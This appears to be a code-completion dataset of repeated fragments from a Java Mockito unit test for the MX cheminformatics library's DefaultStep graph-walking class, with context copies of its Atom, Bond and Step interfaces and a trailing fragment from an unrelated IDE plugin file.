* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
// Path: src/com/metamolecular/mx/test/DefaultStepTest.java
import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{ | private DefaultStep step; |
metamolecular/mx | src/com/metamolecular/mx/test/DefaultStepTest.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
| import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{
private DefaultStep step; | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
// Path: src/com/metamolecular/mx/test/DefaultStepTest.java
import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{
private DefaultStep step; | private Atom atom; |
metamolecular/mx | src/com/metamolecular/mx/test/DefaultStepTest.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
| import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{
private DefaultStep step;
private Atom atom; | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
// Path: src/com/metamolecular/mx/test/DefaultStepTest.java
import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.test;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class DefaultStepTest extends TestCase
{
private DefaultStep step;
private Atom atom; | private Bond bond; |
metamolecular/mx | src/com/metamolecular/mx/test/DefaultStepTest.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
| import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step; | atomWithNoBonds();
assertFalse(step.hasNextBond());
}
public void testItThrowsWhenNextBondMissing()
{
atomWithNoBonds();
try
{
step.nextBond();
fail();
}
catch (RuntimeException ignore)
{
assertEquals("Attempt to get nonexistant bond.", ignore.getMessage());
}
}
public void testItCreatesNextStepWithBondMateAsAtom()
{
atomWithOneBond();
Atom mate = mock(Atom.class);
Bond[] mateBonds = new Bond[]
{
};
when(mate.getBonds()).thenReturn(mateBonds);
when(bond.getMate(atom)).thenReturn(mate);
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
// Path: src/com/metamolecular/mx/test/DefaultStepTest.java
import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step;
atomWithNoBonds();
assertFalse(step.hasNextBond());
}
public void testItThrowsWhenNextBondMissing()
{
atomWithNoBonds();
try
{
step.nextBond();
fail();
}
catch (RuntimeException ignore)
{
assertEquals("Attempt to get nonexistant bond.", ignore.getMessage());
}
}
public void testItCreatesNextStepWithBondMateAsAtom()
{
atomWithOneBond();
Atom mate = mock(Atom.class);
Bond[] mateBonds = new Bond[]
{
};
when(mate.getBonds()).thenReturn(mateBonds);
when(bond.getMate(atom)).thenReturn(mate);
| Step nextStep = step.nextStep(step.nextBond()); |
goaop/idea-plugin | src/com/aopphp/go/psi/SinglePointcut.java | // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
